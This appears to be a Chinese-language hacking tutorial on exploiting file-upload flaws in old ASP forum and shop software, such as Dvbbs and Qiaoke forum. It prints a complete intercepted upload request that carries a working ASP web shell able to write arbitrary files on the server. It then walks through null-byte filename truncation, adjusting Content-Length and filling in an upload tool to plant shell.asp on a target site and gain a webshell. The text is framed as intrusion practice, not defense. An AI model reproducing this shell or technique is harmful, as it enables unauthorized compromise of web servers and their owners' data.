【上傳漏洞欺騙技術(shù)】
網(wǎng)絡(luò)上許多程序都有著上傳漏洞，比如任我飛揚(yáng)整站程序、動(dòng)感購(gòu)物商城、秋葉商城、惠信新聞系統(tǒng)等。本文主要講解上傳漏洞的入侵實(shí)戰(zhàn)以及一些擴(kuò)展利用。首先我們要獲得客戶端和服務(wù)器之間傳遞的數(shù)據(jù)，事先準(zhǔn)備好一個(gè)ASP木馬準(zhǔn)備上傳，當(dāng)然不可能成功，我們要的就是這中間我們向服務(wù)器提交的數(shù)據(jù)。一般用WsockExpert來(lái)獲得數(shù)據(jù)，由于數(shù)據(jù)太多只能把關(guān)鍵部分發(fā)出來(lái)如下：
POST /bbs/upfile.asp HTTP/1.1
……. 省略了N多沒(méi)用信息
Content-Length: 1792
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQTDTATD=NLDNNHPDJEEHOFNFBAGPOJKN
-----------------------------7d52191850242
Content-Disposition: form-data; name="filepath"
uploadFace
-----------------------------7d52191850242
Content-Disposition: form-data; name="act"
upload
-----------------------------7d52191850242
Content-Disposition: form-data; name="file1"; filename="E:\木馬\asp\shell.asp"
Content-Type: text/plain
＜% dim objFSO %＞
＜% dim fdata %＞
＜% dim objCountFile %＞
＜% on error resume next %＞
＜% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %＞
＜% if Trim(request("syfdpath"))＜＞"" then %＞
＜% fdata = request("cyfddata") %＞
＜% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %＞
＜% objCountFile.Write fdata %＞
＜% if err =0 then %＞
＜% response.write "＜font color=red＞＜h2＞成功!＜/h2＞＜font＞" %＞
＜% else %＞
＜% response.write "＜font color=red＞＜h1＞失?。。?h1＞＜/font＞" %＞
＜% end if %＞
＜% err.clear %＞
＜% end if %＞
＜% objCountFile.Close %＞
＜% Set objCountFile=Nothing %＞
＜% Set objFSO = Nothing %＞
＜% Response.write "＜form action='''' method=post＞" %＞
＜% Response.write "保存留言＜font color=red＞如D:\web\x.asp＜/font＞" %＞
＜% Response.Write "＜input type=text name=syfdpath width=32 size=50＞" %＞
＜% Response.Write "＜br＞" %＞
＜% Response.write "地址來(lái)自" %＞
＜% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %＞
＜% Response.write "＜br＞" %＞
＜% Response.write "你的留言:" %＞
＜% Response.write "＜textarea name=cyfddata cols=80 rows=10 width=32＞＜/textarea＞" %＞
＜% Response.write "＜input type=submit value=sky!!＞" %＞
＜% Response.write "＜/form＞" %＞
-----------------------------7d52191850242
Content-Disposition: form-data; name="fname"
E:\木馬\asp\shell.asp
-----------------------------7d52191850242
Content-Disposition: form-data; name="Submit"
上傳
-----------------------------7d52191850242--
傳遞的信息我們獲取了，下面就來(lái)修改下達(dá)到欺騙目的。主要修改一下幾點(diǎn)：
1.Content-Disposition: form-data; name="file1"; filename="E:\木馬\asp\shell.asp"
2.Content-Disposition: form-data; name="fname"
E:\木馬\asp\shell.asp
3.最重要的地方是Content-Disposition: form-data; name="filepath"下面的值要修改下。我們修改成uploadFace\shell.asp后面怎么加一個(gè)空字符呢?用UltraEdit是個(gè)好方法,用16進(jìn)制編輯,(因?yàn)?'\0''這個(gè)字符也占一個(gè)位置,所以我們先打入一空格,然后再在UltraEdit(用Ctrl+H轉(zhuǎn)換到16進(jìn)制模式下)里將就空格符的20改成00)。
4.還有一個(gè)地方也要修改，就是這句Content-Length: 1792表示提交數(shù)據(jù)的字符個(gè)數(shù)。
如果你修改了filepath的值那么這個(gè)長(zhǎng)度1792也要變換，一個(gè)字母或者數(shù)字的長(zhǎng)度就是1，不要忘記最后面那個(gè)空格那個(gè)也算１。
【上傳漏洞實(shí)戰(zhàn)】
我們就先用漏洞的鼻祖動(dòng)網(wǎng)論壇來(lái)實(shí)戰(zhàn)下。從原理可以看到上傳的時(shí)侯還要修改數(shù)據(jù)，還要截包，所以網(wǎng)上出現(xiàn)了許多的工具?，F(xiàn)在我們直接用老兵的上傳工具來(lái)把復(fù)雜的步驟變簡(jiǎn)單，只要修改幾個(gè)數(shù)據(jù)就可以。我們來(lái)看下這個(gè)工具的界面，如下圖1：
圖1 老兵上傳工具界面
我們來(lái)說(shuō)下工具的用法：
Action中輸入存在上傳漏洞文件的URL： 
http://target.net/bbs/UpFile.asp；UpPath里第一個(gè)文本框中的FilePath即為表單中的FilePath，也就是上傳路徑，等號(hào)后面填的是上傳到對(duì)方服務(wù)器上的后門(mén)的名稱/shell.asp；輸入一個(gè)WEB程序允許上傳的類(lèi)型文本框中默認(rèn)JPG就可以了（一般網(wǎng)站都允許上傳JPG圖片文件）；File里第一個(gè)文本框中的File1即是表單中的File1，等號(hào)后面填寫(xiě)所要在本機(jī)上傳的木馬路徑；Cookies中填上我們用抓取數(shù)據(jù)包工具如WsockExpert抓取的Cookies值，記住最好是你在系統(tǒng)中注冊(cè)后的Cookies值。
這里以我們?nèi)肭謩?dòng)網(wǎng)論壇為例，這里Action：填入http://www.***.com/bbs/upfile.asp；UpPath第一個(gè)文本框填入：filepath；第二個(gè)填入：/shell.asp(你也可以寫(xiě)/bbs/shell.asp這樣上傳成功后就傳到/bbs 目錄下了！)輸入一個(gè)WEB程序允許上傳的類(lèi)型文本框中默認(rèn)JPG就好了；File第一個(gè)文本框輸入：file1；第二個(gè)填入：E:\木馬\asp\shell.asp (這個(gè)ASP木馬是在自己機(jī)器上的路徑，點(diǎn)后面的文件打開(kāi)圖標(biāo)瀏覽找到ASP木馬即可。)
Cookies:這里不用抓包了，因?yàn)檫@里的上傳根本不檢測(cè)Cookie的哦。沒(méi)有它會(huì)報(bào)錯(cuò)的如果都填寫(xiě)好了直接按“Submit”按鍵提交！
圖2上傳成功提示
當(dāng)點(diǎn)擊Submit按鈕后，最好用瀏覽器自己訪問(wèn)下，程序也會(huì)有誤報(bào)的。我們用瀏覽器來(lái)訪問(wèn)下。
圖3可以看到已經(jīng)上傳成功了
下一步就是寫(xiě)入一個(gè)功能強(qiáng)大的木馬來(lái)操作了，不再深入。
【上傳漏洞實(shí)戰(zhàn)擴(kuò)展】
并不僅僅只有動(dòng)網(wǎng)有上傳漏洞，在網(wǎng)絡(luò)上許許多多的程序都有這個(gè)漏洞，上傳漏洞的原理一樣，掌握之后即可自由發(fā)揮，具體視程序代碼而定。下面我們以喬客論壇為例為大家擴(kuò)展一下上傳漏洞的應(yīng)用。
首先注冊(cè)一個(gè)正常用戶并且登錄，然后找到上傳頁(yè)面地址：http://192.168.1.3/3/upload.asp?uppath=forumupname=uptext=jk_word查看源碼如下：
--------------------------------------------------------------------------------
＜FORM name=form1 action=?action=upfile method=post encType=multipart/form-data＞
＜INPUT type=hidden value=forum name=up_path＞
＜INPUT type=hidden value=200593075710 name=up_name＞
＜INPUT type=hidden value=jk_word name=up_text＞
＜INPUT type=file size=40 name=file_name1＞
＜INPUT type=submit value=點(diǎn)擊上傳 name=submit＞
--------------------------------------------------------------------------------
看到源代碼后，就應(yīng)該知道老兵上傳工具里邊我們?cè)撛趺刺顚?xiě)了。
Action中輸入：http://192.168.1.3/3/upload.asp?action=upfile UpPath第一個(gè)文本框中輸入：up_name；第二個(gè)中輸入上傳后的SHELL名稱shell.asp；File 第一個(gè)文本框中輸入file_name1,第二個(gè)是本機(jī)的木馬文件。COOKIES這里填寫(xiě)抓包得到的COOKIES值，注意一定要填寫(xiě)用WsockExpert抓取的Cookies信息，其主要功能是用來(lái)驗(yàn)證！如圖：
圖4設(shè)置如圖
都設(shè)置好后點(diǎn)擊Submit按鈕，看到上傳成功了，打開(kāi)瀏覽器訪問(wèn)一下看是否成功，如圖
圖5上傳成功
至此已經(jīng)成功的拿到webshell，就是這么簡(jiǎn)單，重要的是我們的思路要靈活，也要善于發(fā)現(xiàn)一個(gè)系統(tǒng)是否存在上傳漏洞。當(dāng)然至于拿到webshell后你能做什么，就看服務(wù)器的安全配置以及你的個(gè)人水平了哦，這里不做討論。
